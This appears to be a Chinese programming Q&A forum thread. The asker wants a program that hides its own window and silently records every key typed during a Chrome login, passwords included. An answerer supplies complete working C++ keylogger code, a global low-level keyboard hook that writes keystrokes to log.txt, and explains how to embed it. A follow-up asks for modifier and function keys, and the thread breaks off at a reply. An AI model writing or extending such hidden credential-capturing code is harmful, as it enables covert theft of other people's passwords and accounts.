如何在全局范围内监听键盘事件
例如我打开了这个程序,将其用ShowWindow(GetForegroundWindow(),0);
隐藏后打开Chrome,进行登录,这是便需要它记录下我登录所按过的所有按键。
如果我的账号是:windows,密码是:win123456
它的输出应为:windowswin123456
或:windowswim[Backspace]n123456
希望给出键盘检测的函数
for(;;)
{
???();
Sleep(30);
}
要在全局范围内监听键盘事件,你需要使用Windows API中的SetWindowsHookEx函数。这个函数可以注册一个钩子程序,使得你的程序能够接收到全局范围内的键盘事件。
下面是一个示例程序,它可以记录下你在登录时按下的所有键:
```c
#include <Windows.h>
#include
#include
using namespace std;
HHOOK hook;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT* p = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN) {
ofstream file("log.txt", ios::app);
char c = MapVirtualKey(p->vkCode, MAPVK_VK_TO_CHAR);
file << c;
file.close();
}
}
return CallNextHookEx(hook, nCode, wParam, lParam);
}
int main() {
hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
if (hook == NULL) {
cout << "Failed to install hook!" << endl;
return 1;
}
cout << "Hook installed, logging to log.txt" << endl;
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hook);
return 0;
}
这个程序注册了一个低级键盘钩子(WH_KEYBOARD_LL),当你按下键盘上的任意键时,钩子程序会将按键转换成字符并写入到log.txt文件中。你可以修改这个程序以适应你的需要,比如将文件名改为你想要的名称,或者将输出改为控制台输出等。
你可以在你的程序中将这个代码片段嵌入,替换掉“???”那行代码即可。注意,钩子程序应该在程序退出时进行清理,以免产生内存泄漏,因此需要在程序退出时调用UnhookWindowsHookEx函数来注销钩子程序。
@m0_60136239 Thaks
但是我希望它也能检测组合键、功能键等
不知道你这个问题是否已经解决, 如果还没有解决的话: